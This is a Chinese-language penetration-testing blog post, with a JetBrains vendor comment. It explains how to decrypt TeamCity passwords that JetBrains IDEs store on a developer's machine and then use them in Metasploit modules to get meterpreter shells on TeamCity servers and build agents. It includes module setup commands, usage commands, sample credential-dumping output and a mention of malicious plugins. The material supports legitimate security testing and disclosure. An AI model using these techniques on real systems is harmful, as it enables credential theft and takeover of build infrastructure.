TL;DR: 从 JetBrains IDE(例如 IntelliJ 或 PyCharm)获取密码,然后在 TeamCity 持续集成服务器 中使用这些凭据,以利用 metasploit 在服务器和构建代理上获取 meterpreter 会话——作者 Kacper Szurek。




以下是来自供应商(JetBrains TeamCity 团队)的评论,由 Yegor Yarko 提供:
本文的大部分内容描述了恶意用户如何在获得合理权限的情况下滥用 TeamCity。 例如,具有系统管理员角色(授予对服务器的完全控制权)的用户可以安装恶意的 TeamCity 插件或获取用于“超级用户”访问服务器的令牌。此外,具有项目管理员角色的用户可以在代理上运行任意代码或检索配置的存储库访问密码。这种行为是 TeamCity 作为产品所提供的功能的一部分。这些注意事项已在 TeamCity 文档的相关章节中描述。
所描述的问题说明了向恶意行为者授予高权限可能带来的危险。TeamCity 服务器管理员应定期审查用户权限,以避免向潜在的恶意用户授予任何可能被滥用的权限;如果启用了访客用户,请审查其权限。另一点是,在登录任何具有非平凡权限的位置时,不要将终端无人值守。
不过,文中也指出了两个实际的安全问题: 其一涉及发布恶意构建产物并诱使管理员用户在浏览器中查看它,另一个则是将运行自定义构建的权限升级为在 TeamCity 代理上执行任意代码。后者对大多数 TeamCity 安装的影响较小,因为拥有此权限的用户通常已经具备在代理上执行任何代码的能力。
尽管如此,我们将在最近的 TeamCity 版本中解决上述问题,并感谢您向我们提出这些问题。
假设你正在一家使用 JetBrains 技术栈的软件公司进行渗透测试。你正在使用 metasploit,并在开发者的计算机上获取到了 meterpreter 会话。
接下来你能做什么?关于 TeamCity 渗透测试,有一篇 2015 年由 Nikhil SamratAshok Mittal 撰写的文章。
在这篇文章中,我结合了安全注意事项和BugTrack中的多种技术,并将其整合到一个 Metasploit 模块中。
注意: 本文未使用任何 0 day 漏洞。所有操作都需要有效的 TeamCity 凭据。请参阅 JetBrains 评论。
对于此脚本造成的任何损害,我不承担任何责任。为了数据安全,请使用 set CLEANUP false。
已在 TeamCity 2017.2.1 (build 50732) 上测试通过。
要解码 KeePass 数据库,我们需要 kdbx Ruby 库。
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle install现在你可以:
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb 和 serverplugin.zip 复制到 ~/.msf4/modules/exploitsjetbrains.rb 复制到 ~/.msf4/modules/postmsfconsolereload_allTeamCity 可以通过插件轻松集成到所有 JetBrains IDE 中。

如果使用了 记住我 选项,密码将使用 IntelliJ Platform Credentials Store API 存储。你可以在此处找到源代码:链接。
在 Windows 上的解密过程如下所示:

pdb.pw 文件使用 Windows CryptUnprotectData 进行解密。这意味着只有加密数据的用户才能解码它们。c.kdbx KeePass 数据库。0xDFAA 进行异或操作。默认情况下,主密码是随机的。可以在选项中更改:

但这并不会改变任何本质问题。
它只意味着 c.kdbx KeePass 数据库将使用不同的密码加密。本地用户仍然可以轻松地从 pdb.pw 文件中获取此密码。
假设你有一个有效的 Meterpreter 会话,编号为 `#1```` use post/jetbrains set SESSION 1 exploit
输出看起来像这样:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
现在您已拥有来自 JetBrains metasploit 模块 的 TeamCity 凭据。根据当前的用户角色,您可以:
| 服务器 Shell | 构建代理 Shell | 超级用户 | 已保存的凭据 | |
|---|---|---|---|---|
| 管理员 | ✔️ | ✔️ | ✔️ | ✔️ 适用于所有项目 |
| 已登录用户 | ❌ | ✖️ 仅 Windows 代理 | ❌ | ❌ |
| 访客用户 | ❌ | ❌ | ❌ | ❌ |
| 服务器 Shell | 构建代理 Shell | 超级用户 | 已保存的凭据 | |
|---|---|---|---|---|
| 系统管理员 | ✔️ | ✔️ | ✔️ | ✔️ 适用于所有项目 |
| 项目管理员 | ❌ | ✔️ | ❌ | ✔️ |
| 项目开发人员 | ❌ | ✖️ 仅 Windows 代理 | ❌ | ❌ |
| 项目查看者 | ❌ | ❌ | ❌ | ❌ |
请注意,metasploit 模块不支持自定义角色。
TeamCity 可以通过插件轻松扩展。

利用此功能,可以创建恶意插件来运行 meterpreter 会话。